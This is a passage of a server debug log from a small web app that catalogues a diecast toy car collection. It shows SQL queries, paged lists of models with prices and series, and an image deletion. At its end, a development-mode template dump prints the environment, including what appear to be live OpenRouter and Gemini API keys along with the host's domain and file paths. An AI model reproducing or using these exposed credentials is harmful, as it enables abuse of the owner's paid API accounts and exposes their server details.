      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:34:12.178Z server-connect:app Executing action step identify
2026-02-04T06:34:12.178Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:12.178Z server-connect:output identity: 1
2026-02-04T06:34:12.178Z server-connect:app Executing action step restrict
2026-02-04T06:34:12.178Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:12.178Z server-connect:output restrict: undefined
2026-02-04T06:34:12.178Z server-connect:app Executing action step select
2026-02-04T06:34:12.178Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:34:12.179Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T06:34:12.179Z server-connect:app Executing action step select
2026-02-04T06:34:12.179Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:34:12.180Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T06:34:12.180Z server-connect:app Executing action step select
2026-02-04T06:34:12.180Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T06:34:12.180Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T06:34:15.105Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T06:34:15.105Z server-connect:app Executing action step identify
2026-02-04T06:34:15.105Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:15.105Z server-connect:output identity: 1
2026-02-04T06:34:15.105Z server-connect:app Executing action step restrict
2026-02-04T06:34:15.105Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:15.106Z server-connect:output restrict: undefined
2026-02-04T06:34:15.106Z server-connect:app Executing action step single
2026-02-04T06:34:15.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T06:34:15.106Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/Screenshot_2026-02-04_105359_5d39bffd-2787-444a-a1aa-cf81073747c1.png'
}
2026-02-04T06:34:15.106Z server-connect:app Executing action step delete
2026-02-04T06:34:15.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T06:34:15.107Z server-connect:output delete: { affected: 1 }
2026-02-04T06:34:15.107Z server-connect:app Executing action step remove
2026-02-04T06:34:15.107Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T06:34:15.107Z server-connect:output fileRemove: true
2026-02-04T06:34:15.306Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:34:15.306Z server-connect:app Executing action step identify
2026-02-04T06:34:15.306Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:15.306Z server-connect:output identity: 1
2026-02-04T06:34:15.306Z server-connect:app Executing action step restrict
2026-02-04T06:34:15.306Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:34:15.307Z server-connect:output restrict: undefined
2026-02-04T06:34:15.307Z server-connect:app Executing action step paged
2026-02-04T06:34:15.307Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:34:15.309Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 134,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 125 },
    current: 1,
    total: 6
  },
  data: [
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:34:15.531Z server-connect:router Serving templateView /
2026-02-04T06:34:15.531Z server-connect:app Executing action step identify
2026-02-04T06:34:15.531Z server-connect:app options: { provider: 'security' }
2026-02-04T06:34:15.531Z server-connect:output identity: 1
2026-02-04T06:34:15.531Z server-connect:app Executing action step restrict
2026-02-04T06:34:15.531Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:34:15.532Z server-connect:output restrict: undefined
2026-02-04T06:34:15.532Z server-connect:app Executing action step restrict
2026-02-04T06:34:15.532Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T06:34:15.532Z server-connect:output restrict: undefined
2026-02-04T06:34:15.532Z server-connect:router Render template layouts/main
2026-02-04T06:34:15.532Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
